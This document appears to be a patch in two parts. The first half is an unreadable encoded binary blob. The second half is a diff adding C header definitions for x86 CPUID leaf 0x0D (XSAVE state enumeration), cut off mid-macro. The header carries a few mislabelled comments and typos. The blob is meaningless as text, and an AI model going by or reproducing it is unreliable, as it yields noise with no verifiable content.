z4>BW7CUZ4|n+fKlyu?bdxk}E>gSBJQIG`4vw*77nEEp^+4&}?zIx$#e{ZCDAbIPuj zDHWL~?2ET|;@orLp9GNHo-L87HZ&uijcq-N}hOP!wZ!|Y!{T_a{h4+YP=aXgMED6d{zUb{rG zz1=3;WU_G{FwtZY>Z;U?H(Hm+gjM+hH4p2W)26;e6TdR0%sG5DgxYduTISpm&%8>u z@-52Do%H!qGoEifZFq_1oSn*tO|A1HyDI8tsY$~G6L^W|3UT#hIFMYn%c*y)73LaO!oI`I7B*35gdOa89$uN`QSYJvazrt#p27eULt`7w5b_qn&AlzjkUU< zt>qFdF_G5Ql+;G5t1#8q)-nNk#6>AMg0Z@4KDJoPvV|5IUj-AMnz5kus8Cw;Wb*&s zY7J(3MO+eX`=}N#B(@>S5R}Bpx?e0lL1occ9;`(kM!w02 zb80K2BokVDabo2YC9KUQGzk{UaETMg6(p~$rB71Ne`sc5%cn!dHFY7H1FbKkp(Xo! zn+jBeg2kn+m#IqVJ8f#J!W4aK#&fOnxK1*tl8ogJ2mQ>lHOneITqDzp30GAP>t0z< zgSJ3An60)!1?peRqMPe{*gg!31PZ&h7HUP4TBNitF4dZ)EP^#d|08RJXkp%L-2mWC z+l>RR9^>QcmPVV)iCDq5utw7IR0{x+9s1K$88I_)M!;aHCIZc(yfD3>PjXx8LGw+v zET&RE6E!f^YNXqt(t}^R=Y}PnRt-M3bjZ4=Gb=VdGZu5h@P{%?M47?%nC;HzpjE&a#DWxtLZd*`2T_5X;eFrmNw z*9~7>kn`Tvhu%NxyG#7{zNzl2;FLApfyk;$05SV)EYkR$z`w<>JEn6DtdzoP$hi&G z3xZ>?k*YD+Z%NMZBW6s&{^x~@8-wHPB8@W!WzQ(m%bW&f56m7oXhil<-jvrgyCE_I zr;K2Y7gjs{+nTt53L2{x$ekorjsFRqjggwVh5rdfX5tqA$2E$=s@V(c=hXd2vk@t^ z-^{+RJ>+UQH9kt6j-~yXr*Tzz5`=Z^z>XKvN)EP{kzA&(bR=1ym{e}*Jk*L~a^K53w-1GDq1p#5 z9OE4vnb1SS>Mah>9whF5(x$zghhEPVCgL6D4BYKb!=7pa&L zx3OGqTn3DzS}w;2DD^lWfD7qBG??g8kD2IRpkjuYD+)o4Pw0UN4Kfr7L#R7pT!Z%w z0yC||DT{UqXcS7*^nNI4@S-tLdH0b-p?^gbPaKVS%c zmVK;MiEaZd0ele%h>eXu;mSdz*jooI1BOmb|GLpE?4tytH$8_J+WkaXCe?uA9PvdtWT} zZVUz1@@Dq{5yt#vT}@ z)-2&*XedG)e&K%7a|7((efVv}?;wxID8la~{I10BHvAsOj|S1Uo_@5bkIUGM20SgN zI`EBkG<(9rYTM3K@mC-^R+zYs#j{VNJ5U&}@}w9A8L(q`y26Z7C?KvJ)1#h_!yy=M zv#k4MVOWBhuXLSekGvy3?Fj~3u*$Jc@?d%_$lAhKsC8g2p zPf7Lq{NqxR)7o|Pj|Uw{07zX*XKzMIQd+zADILHBB*jG9Cm9nm+NdY6=-g+_@v0Ccvuz zw`%(Hfak&A7wIA&Z$hJ=<%0f6+P_HqPt|^!+Zz#nllK2v`ybH$C$*n-#v%BrI)j+c zm~YV*Y0PJwY0;t_^^13&=}i;weAC-eyo*e4C-Fv1Z$P|DOs`7unWi^GLZha) zvv`-8-Y()@VS2m5yG~l}?#hJ*AwRBi;mT>csetU3DyJIH*x}+DgvmQi4T9`f{W8rH zfZgPXp2w(`4P0U*VKlUx=AmJ2Ldz3dN#wLjx8a|Ls|;G*R?}unxC=~BI$~kur5+u5 zXAs#CW`x*hA`v=v=B(EFz{D|6Xpjcs$3jkb2R>}VI{`Zb-V4|R5FcNZ#TRXm=;7Lb zwDzL`E8%FMN_f8ZqoFDOiQ12bvG}XBpN5Y5*f^&CChdnY6hDligkPZjmuWwYoP^(~ z{kLoXecHcP`=8YQr?sC3kMXgg#rW75rvF3jr%|T=TkZc@`;(A2m0pp?I>_?eYSfh#t|Hqe%5SXVHhaUuHs>P88 z0&~^k=m-L{)#B&`0`t}42!OzhwK(`B%vp;g0|aKR#nBlA=B;qN7&Qvq_2Uyxpzv>c+F$9e_(XlTLOto>?dPQ&N0rG1vHu{Zsto{F7SwO$Pm+`k|$r zf(yweWOR#*5KZ%?;iYx^-^ykxTW@8v>PbgVw5WQ%0dXqxNISj{8n0CRiZ$(V!-z5? zp8%{wrmhFPAAB1DHv(=3zKE6--X)t@^rwk@BpK-E9V>?>WSg|O+b1d2) zEZPkgjV)=#hw4wu@;*65yIo@(orq**P6;=E9t_8R3deSfIo*a}F{c}dVEiIy$XhFW zDubHT)c#RW4f;p19K)VIn?zr(=}V?hEC9n&>67oDzI6KJ>!&YBpM3lD<oMmCsweU03!jUR98l{fHMi_9=eG^7Tuq{4=t$6&Y%b zm4}35&zoWSc38Xku*2;zmNJ)|pJ8H7NX82b$0Av|;pWZ3s!f85g;9PE%m$$#*}6V7 zS*{vXwDndf6So_`hfqZG;>^*v;PN5t1HguTn4>8Tb&*JI{eD@bbm_7eLo2^RUY7n> zbokr0N*zUpEfSnc5BHJh6^{ovTCC!a)Gk;A6?qxi@Uka}2{sw2XfJUz%83S5*+Y*R zJ~(>_ZbN0;mXD-ZduhMN_?w8P?~mw(!ul_X^3!AoTczTkigmMyc5ERUZ=}8HVx;T* zMKIDuFw%*ClR^Kdel*e@XoC@z}En2*8AY6%sMfjQE$;2H0CqTwrJ;Cw3{s2 ztriV!a;=X82udIO0>u2r8y3w#{EC*WF(0N$OLFqlE=)zv|7^B1shWVSCSvz(2>uqDBjrNx1_+Do`uVvi5wnSv#DTZ<;G-& z1=g$}o8n1T!W}${Hx^C{#hwZE-xe9iqZ|hEUk@JTFuxFDi($earl}4+ki6?yQcfa; zhMkmtq)aCT>J50VJ|3Q386;06nUw~fH9llh^b90gt3d{@!DR)Z9ZjxZRb zq|OC81H+MP^EXpXgyV&40?*F7>>2}88YJ<6h1R03+K#f ztc^%o*p#M?!&TI<5~-*gQ;i|`bwRvd8g5KBEUD50tTri7K{|4pRSt`20*5Mx9RX@+ zS3 z$_Da$Kvqf%0G|YWAMb_VIQ?t{^uHns~wGGdGH~E~7 zN8SDHup@Ur90;#JA!lZXt*6YLzH7w5^&i}}^AFzj@7#RlkAcU-SATSR;Fsxl7)kej zlYQ~xcfQ)R?8|HRO!?)aZ@xZYTki|+xMtLrwIk-eb!p|}ua>88{q^1xCi*h2{PCo5 zbE-c~d;7`@OW%BA?43Ux{(AYIS;fQGUisLa$;TWycHmnbM*i)U*!aQ5@67P#X?NeU zX2#ms|J*TGJSNHQoX1mn5#;rJuNhAN{^sp$AYmPpI+R2j4J;d8506LU_eR&+F;}L& zyMOCLFz4}lQYh)+u}Ef;)G=4i^w6GpJ)Fd%OMmZ4R0i>S`2Bl5JPwHsV7m5bk|E7p zR*|)Uy-6H!PaboOxUBtwlUwScG>+YZdh@wDw9w-h9$Gi%!lXYO{B}z{l=gaf{L#U{ z==?48bOhDwF~7wtC;s++OFf;0Cmj)WrxLi1qK6n`r}G*?S{Jy3wykB_UD3$Z{q1`A>cwBL@ zfp5pvzqaC0TdIpkNePcDE;M@~)s_G88+rU2x7t#i6r>X#S6ssHkrIONiSzqZ*-~g} ziBmcUI*uvo2D*K#^_Gj1lWeJGEhRjzxL9iJ=X$Dp_akhnJG7MWxSop>!S?&gc(Cdm zyVSj)rG&>77kdJBTs2u;``c1xTR?bRak1TR=iym5zHy{2CF{r$E;qZ_$3P z%pK7lw$z)n&}B1z`Q31hu+)BVnja??0Z<`tK%aw%Qi=aiMrliy;ULt*%#xqJ_ z<=e47gkvKpk-i}G4MROPiM0|O8#jscMPRnh2hY!}8{o3=OQdfX^v#A%pFmp+$3|%) zeU~78e+17!DuQFbFp<7fpl>+(XSW?LY-m&^)^{J$_W^h=@2~j!nfe^f2Zk_T`wk#x zyVg#1JQ{o>H81OeM5kf~L7xVm(=;EFtN7%*fJZyV+YFwI_o0uk;m?}Klx;12Pl4~n zeduGQ{1tfo1C_S6($@_vQyr-`CD9EBy0nG9vfP1j zd~B|c)?Akj*tB-m=u&?8NI(6aQc7x z-nI(0z3ksTPI5QWmWy}E)A=r9qfZ~qQd}sP%iy*kUI3zwEemQM^XMBVPjTrKeMJbh zn5W)2IVP3ivNMNAq)%6 zpTBT6&-K?xZOiL5xc#+rJUiwVQZtt0NvK3+wc1nMmpKF)FXGsr^F5dwQm+@+V(CId zzFdPq!6s7?PKV@f?>+iyCgX<5g$<&+H(1Q`Cb)k#JwBBMwbknRI7edcUN+Oqz4V-^ zNzHH`>cEY`i=Y>0l9-o`1a(T}f(&z8y?N0E-vrZPopV41ro^Ni^t6>e=1EbGoEgy~ zGgZz-pvBy*&)juCaKgJG_)rNlP-3~j^>QZH)h@Q)hooh{_IxvfmWu53iYB}uJ|*A0 z-cHT;a^mx)e4}4kh`08K3 z-MZ+kzn``7is4ro#tfmiyxZY>JQu4>x{1j8+X2tVZyt*6C4futtJC-{;NRlM6>I@=`8?j$9GaP#(94i9&DZDDQ7n`2LBlCl&rmyQ@q(`}6 zF56rym!DI#cWXFSo)ZS}Zv7M*jc{yiCcU0~D9Fd!y77RJdAh)}S8d-=(qq9(vzsgf zn7e`fh~F`BO90q+;9%^D`0=AuE-Lkn%B9dE-kBm3|L20iW7O0(M(XOTBe+aP=Ff{@ zu<(d*6QUb$MLI3XyDF*wipvUHpM5Q|&TE38qdl0Zum^wXX-i)>dZ) z^&XCF@G?QA9%q8Mha(3ej1W`hDniHltEr4aJ3c#&5MNZWrk!i38&qJJWQu$x;E@Qs z9B>%mg@EG$F9w_pcnKi$j^RfEaxhFytrAoBg(%uw9qQvIHO+U1MZ4OfU1!mlHYIzv zMdM(PqG3{9FrSfIF=_IYP-SRRXmW^UEF6xpi)Dm|Y!0t1$jT{>-JEqF{6(?dSbXz! zIQC{Z_9OQ8M#h%JLMS{%nMJE|_lCV2!Xw891Lq$E#VBMfdPT8`?xHtF6+M)|SSfyE zbEMRTS4Fah7Ozr~Hve4HFskU`Zug9R@AR(sj13$DWzQC2Db=12!p&bMh5Nr5esNdW z`(}8i3G%?bD472f+y zaqOuguUgqE&$em;9{8zotGW)vcU2tQWPVyX#VgOr%zL^ZXD_yseHiIj6ni-wdqF~X zrL9ASXY6XHztdtYY#s8P5^UZa4poIt44n{~QFY=8$8X}eav6TfMlJsL77Rs+d%{8M zj~wnJ7*-VM(AmKFVv~)tfdvIKTmSh$;xFG}C!JhPfbXUQ5!dp=#X%{Puev^e(SDC!>)O*{I2JY3&Z%1>48;&o{qN(&&kY00 z_1EF1f}le|W78Z{K_vwGiNqWn;MH>5F1PgFhwy_Oi~DIAy~kpq>H#S!-tO2_+X2fu zCS;6uu&@>5jV?u4$9CAR+tZ()lH~0H_HJ0Y+6TU5@8KzF-VXjke_v30rlh2G>S=Bf zc4jlp>0n7;y)0YeR_E2?{|2S+5NxGxmIq7gLgFkuSZxEWZh_?aLCAZy)y;sa#aQoL zTeWB*8slK&Yh(tVM-D9eQGPqaxV~;k`9wY}S~1>Z5Nx0Fn{qv6 z)fJ0Ns-adssc3}_Yheto;lb(^?e|ET~JgLQFiiNPm43J9ZK=tE6{?J0vyEIOMB}U_2C$0L^@M*{)r+aDI&?_a~7% z7@g7y88~+|gVC}~u$JN{oxtU1Kzd#V+ppwg@$ebPO5Ie7m|0I93N@iCGaa zD@#3U*Esh@uZBM;w74&dT5d;xs_pbwLgIZEQI~vct=LS2n2t7tiRge|r6vx;8X;N% zu9-R(Fb8lcAlFK9MGn_M%>Wz=SObn^$pgS+h#Z>lW>8i}txi``V&$dR56LYs_aHVbKOyw22mNl0~bwXtfq? zrA1q1(YS|3#lh_}Dt%@HMm1k@bkF@DZUZ&CA)XkZk_nli(y&deH`kCw)G z$_)7)>uI+l6wQo}(ZbkF-u}OY`~Mss`D1ZxuhqghD|l*qss4ABhDW}@hQ@B)&?rGe zV~;d6p0*nrg*ipi(0ICNRo7n9(AXlTDjX|BL*p#n(2!5HrJ(2s!|EqTNmPem{oHQu41wO-@pi`>Cd!{rLz;@^0l z7UHhaqF`!Kqpbju+3Bp&SnC9ZmY_ys0N-7yN4IWN|Lq%)Sv#7J<(PWX@k6&v9BPy( z%k~mLmao$Qa{*WVEZR~$y_Yj8zl9j0iPShOoF+RYa2c8j*oqCIBO-m_>Q zSv1yqDh}3qDh{rOR~U9RV$DV9N&3U^O8KeISikTp+6S_&arf?uKP?iR-u zAn>eUN&jCF`aM|~v*wYWgYXk~51lGJ>Jo4wjxvD>1l2Z`dg!)0M ziz4q|KLwLSK5kW7|M1F^OzBDQe2G-PTLWil?JZu_k?7#J3Wt1HynOu=?crG$z`sD@ z*K-1gEMuUN8+hW?qSz0s(tb~0_-|k3Mn4HGd#kB1ciG;^yxhQ=r;A7a5IB#`sghN- zdyBobIRzuXIr}hFdGAVUa*uqsDE8cM&tiLz>Ich{>$n4J{`T9Z=$Tnd5YL(yBL2L< znq_P+8oN4JXx@tCKDp5^J%N>rkZ9&pV9m35M)g>!d-0rCWZ@IzE~hu(z2y@uJCQ4$_=?I$<4aL3Fv zM7mTGbdqNrD5qd22_vW7vPboFw}V@0SaYgs{dr@#F&s5a;{J8ir9gL4sDSN+NAcr2 z%#P@8nF>_4knWKburLK3y>IED4^tiVwB+vo4(y}**Usy6(x|13_vJ&UF6~{=Af7&@d{k zODE=pv(GJA$x((qOfMR0YyeeS@9!W~3+5iBdI@8x{D<(Wowi+pv(dl~FJD749-8BR zI1|Abg%Up-)u~-~H`FeuuB*ohuA+-ww3TEv!YFg0j46osMUhR%x&*VnNAF&^Cn03H za2E^rB#XPNq;ipj)d_C_c&`;r*@!)qQ2<_*sy9$=W+&_$2SvWcKWuh#_Ko>k*lC>! z#ulvy7WDYm1CtfRuhbLQdgu-itjRw`FR+brrl)GZnbDnShS56?JJA+twm#VM#bSp>Qo$kHRd-C zw`fBw8kgQGz8Z_hHAaedrbUZdv|B9N9Tx3zi?+d{anqAZOM}L+E7_u*YtgQ?Xn(Y5 zT=c1A@3Cmy45esKShSBV+GiH+dyDpyMeFJ{WivJAGqNmNKa0jC5GoEXM=qIN8+tkgIL_o1d?1XU_EjGxN%=jVVdOK5aQM**U`h=u^sw2>XdurSdE_?oB{>I^`BgG>)AS$>nMk|n14<%-7kg`!0) zz9kmz3X68NMZ4Le-EPqyvuNur8pq{S9JCfH4&;-jp@3*wZ;knlLoFJgQOS<5XzcDN z+ANF4R=uJ%ShR~Q+GQ5)j~4AFi*}Di`-??;*P^{|(SEULXyfTLXKKtZd(73daTmHu z%TX5JdW*K%qRF1yp()m$+eYMx>G}duyHORE3O}dcy~Y8-4o1eg9l!SP=&-&0`gV(w zXL`$$vXxv8Kqh`%4~%;D|FHMoQF0Vl|9AJyDxd%o0z?!dXV{%xX;(ze&dlx(+6mg3 z4H97x(gFe@2}$IfbIv&%Fkrxd$vNk2z+__^W59qhIlcE*_pMvqb!&K@_x#T9{pa0d z`Ecj^soRxPcUQw7-r1nPwc$VFZ~tOIcqewk2ya5mC~rb)V|N-; z#*jGWqd)9@<8J~_R==$@0gk3vH1dn3-jBu!V}!jC#|Uby{=+3w{GD5DUG-yx?Unx4 zQ#6i5!GB>swX5G68ylM%;q0Ksmc~hqlN(zb+Zv}dH8wRhrJ9Qrn~{lN%>DO-@a2p4>8d(&WjLTPL?op3>Ub z+SHnAZEkI8ozyzHwY9aabxK=fTT@%At+}nGZBpChw$`?`wkcB}ic{e7Q^55U2sQkq?br9K@TdD_I}>Dyd%*cp#J{rMTk zZgcxBXMO$G;|h0te|xz&d+GD$UUurD@9z8MfNO92ZuXSi_G@>)^6IsXa@dOx z9XeympO`5yo9;>uX9r4S-b3QD-aa7^8`4|53 z<(DU?W{`eN=Y1caeCwV=2m5E;yIpTna{1);8=bJ%6)!A&de&}d9d%Of|K1C*_y$At z&wNo7n`+X>=8rY|oLM*h5g+@NUVz0_#VAnl&-DTJZTP+31*uZ9mx1l0Lqvur@k@Ki3Pe*nuEDe$npR+I~iWlJxNng%)%I zf36o`vDstnTc@6Rx9taWCF$dv3G1U1_~RE3!MXZNdi3Jz3gIt9^e;F#;@?vG7wksx zZX-k@SONg2yB2CuHCkJVGV>!(Z@qSF*7tsFz!to5G*41cKLH zQ{gYT_Ex_%QI270t6x&s8ROqb_!oU87WYqsm+w$t=eZf{1oa243-SNpPce~K_LhcU z`IWuJ=e)Njhq_&b368&yzV^6`3N;b_--mxAwpb;_FVa2_zu=!@BG(!Nzw)(ycjtb? zIMk;qOmK@MdM#XABz+w8@Nc{F4eti^2Q8RvsXxU;uC*-u&eu9J_1u0O3Rn2}r(@9G?ib*nVj|aC9)69ci|g}| zVJO8!u7&lQuXXnYCqK@it_(vd#xvjf7_UM-1^mp&VepX4IMg>`C}g6cR)SwR)SvI^y^2Gvf}I}xArt)P)bJPlHTci&$S>xLqPVmD zTQ7>@6hG;|f$k!IJAzmHQBUg^^$eNytJ(;+enl2mw$|@R!|%0PXQgY_{5kXBMTXr5 zXYT<&EFPS_H$0`Ze{DAY0N-d>u*cj%FY;<=;pO+7wd-Iz-as%5GAP2$V0t;x`1`H*C{t}PSDl0b z@IA`a)O(cM?bra16$gLPdz2T^AV>9Dc#m@8R=#&Ba1W$|=7~Y3;(J)J_rES(;CUZ~ z47r;+#(qz1A+(xfZV8)u2uj?YFvx#%>u+;?{hs%S`+u9e;c4h^=w1Cf*Ifu5$<6N@ z9R{XXNXJoI``$#{=rsN$?lR~EuWE~Cw8Y&BezIkOGY$vAOHG7-KLNMu^nk^bPaIR; z$(*mjPq@hU)&-`cC*W{4CB4777W{q=Fn5KV%O7qCJOa$>c&sn{;oM2`cQgEcE-;j5~Iitbb3jX1rD}G%dbOLkg%z)GBH4cQq@Hqc@ z514V=1ss;3x~{;j2h4WA!QoT54c-_`S5?heGANb_=Feyx#EY{-2#|B{s-Kl zz})m39L{AQ0p@d=t72U6Zz23k?hwRH{Q&=``h(beng4{}7soi*JMt#-dzlvjvg7~p z_cG!8(1UZb@DA&y|0mwfyk>j6^E+(pFJo|WJaa}iU#XSgMapzBTgw$QrEI>~S?kG7 z@6Gq*vbFYnwE|l%!_=3r=`~Hl`|_21d%ingol(mTl)Lkpd{wjbI;Ozp3n9CH=rpUviqux%a0pbp9JdTtiNb)pbWAHJ&kFihd%=}Tv-`BD)wBb|k9;(&=e4VnI) zd^HC*y91~pmY@*Il!{s9Y`u^h?&boA1jf^C#4G?e4m~apbq+t!Ea+U@R|Y3914NnFlk3b^s=1z8x*LX|K%-pKT81@>tJcz8I^6PM z#8?~98XTmp3Rr6y*2c%RENd&qwRYB4iffg!zTV1lt(~=1;#wuI!>tscZsk;L^a5zdK2jW_WwFl!`g|&y`T9&nk z<5~x6kHoc3&YMRqEnDr;Irmsx?KaiN<7ysN%7G{1Dri)5UyN&+o;$mSS zQ{g!M8kft{dU|z?JwMh(4WMhPESAcB>N?@oX*AV+Ty(6%NREdMvauYCOn16cskN7S zi&=FcQRWL_TrM_d9+`AC*IDYBQA=k_1Mq)gOGJeFa7LgOO$@`+Xvbn98w{M7%NU%7 zIVSoBR7RmlV}L29;O=-3lx7JLwKHAqg3~u}2tyAvM48N_rW8D>5a=}1iRrbL4jAn! z8lw!iu)bn3->)%v=}L_~aSUdw>F!Q7ZepZHILS9WN5gO%!%Bg%2#?eYHQ`N~F z9f#ZV#dOaMxUm-`b7@AyyT<+Awuq zyQ~$qrvx=9U8!mZ;CSQQr8nvZ~aUfTmo+)It zzJ{d_lwtLz>)4ucy(5G9MDEwJZ2ViRGe%+7^^Y+X(Flfr%(=NwkXm>Qj0~%c&ha@kbbQAaj|S;Y0x?9ib*qKowlBAInQl69S;mL%yg(tx7#vq=x9A- z>y=zCtCOF#_5PlY3d{{@{y>v*jvovTba|STvsi*zcTN{vXWTus3Oo%=r@qSqU>a1` zbt7-fFm326_3*&Dt&LPOT!=lMG2g+ZN=pu%^a{jG=UT}MT*>K7 zFI!@~x0-GfRp?ErP4!sv4D4=rB&i5Mk5O(_L9gZtI{LkFz1m*TeR*G8>^1xHeoKYD z#bC6hp@NoTI_vtN71FuTFE3?JTvddlRbB+gnU^Kxgd^aj`$0 zua>8EYG6kT$iqgZ(c#tN0IWq}Plo%Woh$%CQ|f0~VkOhnkT8UVY87EqeSdbYfT9ZVf?DR-R z(b7bMIHPEZVo_$KXpv$;W~6AXVnLWuxDAixLTeTa3MXZhSG018a zMT?s#R_;(4g&XSVi`F+$C|v0)5^pFVNedmB46jXYY1I>l)y_bqq}GggM|}g3AGP+5 zrpc-ls6=TY6!WM!%w*zdK_qdQ(G){k8pS!aDWR@RBrTF;60c1pEtq7|te>=aijkeL z{EDQSR!|aWrkYk$5@%kQR#Y(#7j}{B($Y%e%y7wONRnxlCUItxX~8CO=5=Z9 z7Uy73E^=L3!bzNYU0TOU9A0j_vR>Ow3=kG zJdo+?Y?{pOX-P>)xH(AfX;Dcs40;*0PRCTydQyw&Y7N&cxFSQH7L;078;3L-r`4oZ zVZlY0rIngsco{JztbX8i>bEB zdeL9wHCq!wF1B-gZ#G)3i_GL_bm8i2sK zt%8@OC8XAhedP>n3elBm1xY&WM+OfSU|?E78sfIo!o6>3wK#m)jeAE9gOZgD{Ef>P$q zjj4rFF<&hOJF%F$-DN$vDTcrv7SPuo>^Gr0&sK4xl!|rFxD5NGlr!^VTDTKhOGD`q zv%tZWyO>$%VhRQAXD7uF0Bv`bTF#-Tq$g> z2gRXamk=}Y;FuI_?ozjVh^-bfx_Az?RoMBZlpkiPYU7vW!!23u`;vTwC08q%VACF> zeWWFayTVk>kBS4;f^Gsw$FvIUxYC}|F}8*eA9nZY(8tCJ*pj7w@3^>zTdowP<1I0G zz6jHELR^D-PEJp>wUn;nCkZ0fUkZG(tvBnyrwAf!2I|14+IovF{nG?7*agJ|oi3
 For i = 2 to 62 // sub-leaf 1 is reserved IF (CPUID.(EAX=0DH, ECX=0):VECTOR[i] = 1) // VECTOR is the 64-bit value
+ * of EDX:EAX Execute CPUID.(EAX=0DH, ECX = i) to examine size and offset for sub-leaf i; FI; 
+ * @{ + */ +#define CPUID_EXTENDED_STATE_INFORMATION 0x0000000D + /** + * @brief Processor Extended State Enumeration Main Leaf (EAX = 0DH, ECX = 0) + */ +typedef struct +{ + /** + * @brief Reports the supported bits of the lower 32 bits of XCR0. XCR0[n] can be set to 1 only if EAX[n] is 1 + */ + union + { + struct + { + /** + * [Bit 0] x87 state. + */ + uint32_t x87_state : 1; +#define CPUID_EAX_X87_STATE_BIT 0 +#define CPUID_EAX_X87_STATE_FLAG 0x01 +#define CPUID_EAX_X87_STATE_MASK 0x01 +#define CPUID_EAX_X87_STATE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] SSE state. + */ + uint32_t sse_state : 1; +#define CPUID_EAX_SSE_STATE_BIT 1 +#define CPUID_EAX_SSE_STATE_FLAG 0x02 +#define CPUID_EAX_SSE_STATE_MASK 0x01 +#define CPUID_EAX_SSE_STATE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] AVX state. + */ + uint32_t avx_state : 1; +#define CPUID_EAX_AVX_STATE_BIT 2 +#define CPUID_EAX_AVX_STATE_FLAG 0x04 +#define CPUID_EAX_AVX_STATE_MASK 0x01 +#define CPUID_EAX_AVX_STATE(_) (((_) >> 2) & 0x01) + + /** + * [Bits 4:3] MPX state. + */ + uint32_t mpx_state : 2; +#define CPUID_EAX_MPX_STATE_BIT 3 +#define CPUID_EAX_MPX_STATE_FLAG 0x18 +#define CPUID_EAX_MPX_STATE_MASK 0x03 +#define CPUID_EAX_MPX_STATE(_) (((_) >> 3) & 0x03) + + /** + * [Bits 7:5] AVX-512 state. + */ + uint32_t avx_512_state : 3; +#define CPUID_EAX_AVX_512_STATE_BIT 5 +#define CPUID_EAX_AVX_512_STATE_FLAG 0xE0 +#define CPUID_EAX_AVX_512_STATE_MASK 0x07 +#define CPUID_EAX_AVX_512_STATE(_) (((_) >> 5) & 0x07) + + /** + * [Bit 8] Used for IA32_XSS. + */ + uint32_t used_for_ia32_xss_1 : 1; +#define CPUID_EAX_USED_FOR_IA32_XSS_1_BIT 8 +#define CPUID_EAX_USED_FOR_IA32_XSS_1_FLAG 0x100 +#define CPUID_EAX_USED_FOR_IA32_XSS_1_MASK 0x01 +#define CPUID_EAX_USED_FOR_IA32_XSS_1(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] PKRU state. + */ + uint32_t pkru_state : 1; +#define CPUID_EAX_PKRU_STATE_BIT 9 +#define CPUID_EAX_PKRU_STATE_FLAG 0x200 +#define CPUID_EAX_PKRU_STATE_MASK 0x01 +#define CPUID_EAX_PKRU_STATE(_) (((_) >> 9) & 0x01) + uint32_t reserved1 : 3; + + /** + * [Bit 13] Used for IA32_XSS. + */ + uint32_t used_for_ia32_xss_2 : 1; +#define CPUID_EAX_USED_FOR_IA32_XSS_2_BIT 13 +#define CPUID_EAX_USED_FOR_IA32_XSS_2_FLAG 0x2000 +#define CPUID_EAX_USED_FOR_IA32_XSS_2_MASK 0x01 +#define CPUID_EAX_USED_FOR_IA32_XSS_2(_) (((_) >> 13) & 0x01) + uint32_t reserved2 : 18; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Maximum size (bytes, from the beginning of the XSAVE/XRSTOR save area) required by enabled features in XCR0. + * May be different than ECX if some features at the end of the XSAVE save area are not enabled. + */ + uint32_t max_size_required_by_enabled_features_in_xcr0 : 32; +#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_BIT 0 +#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_FLAG 0xFFFFFFFF +#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_MASK 0xFFFFFFFF +#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Maximum size (bytes, from the beginning of the XSAVE/XRSTOR save area) of the XSAVE/XRSTOR save area + * required by all supported features in the processor, i.e., all the valid bit fields in XCR0. + */ + uint32_t max_size_of_xsave_xrstor_save_area : 32; +#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_BIT 0 +#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_FLAG 0xFFFFFFFF +#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_MASK 0xFFFFFFFF +#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Reports the supported bits of the upper 32 bits of XCR0. XCR0[n+32] can be set to 1 only if EDX[n] is 1. + */ + uint32_t xcr0_supported_bits : 32; +#define CPUID_EDX_XCR0_SUPPORTED_BITS_BIT 0 +#define CPUID_EDX_XCR0_SUPPORTED_BITS_FLAG 0xFFFFFFFF +#define CPUID_EDX_XCR0_SUPPORTED_BITS_MASK 0xFFFFFFFF +#define CPUID_EDX_XCR0_SUPPORTED_BITS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0d_ecx_00; + +/** + * @brief Direct Cache Access Information Leaf + */ +typedef struct +{ + union + { + struct + { + uint32_t reserved1 : 1; + + /** + * [Bit 1] Supports XSAVEC and the compacted form of XRSTOR if set. + */ + uint32_t supports_xsavec_and_compacted_xrstor : 1; +#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_BIT 1 +#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_FLAG 0x02 +#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_MASK 0x01 +#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports XGETBV with ECX = 1 if set. + */ + uint32_t supports_xgetbv_with_ecx_1 : 1; +#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_BIT 2 +#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_FLAG 0x04 +#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_MASK 0x01 +#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Supports XSAVES/XRSTORS and IA32_XSS if set. + */ + uint32_t supports_xsave_xrstor_and_ia32_xss : 1; +#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_BIT 3 +#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_FLAG 0x08 +#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_MASK 0x01 +#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS(_) (((_) >> 3) & 0x01) + uint32_t reserved2 : 28; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] The size in bytes of the XSAVE area containing all states enabled by XCRO | IA32_XSS. + */ + uint32_t size_of_xsave_aread : 32; +#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_BIT 0 +#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_FLAG 0xFFFFFFFF +#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_MASK 0xFFFFFFFF +#define CPUID_EBX_SIZE_OF_XSAVE_AREAD(_) (((_) 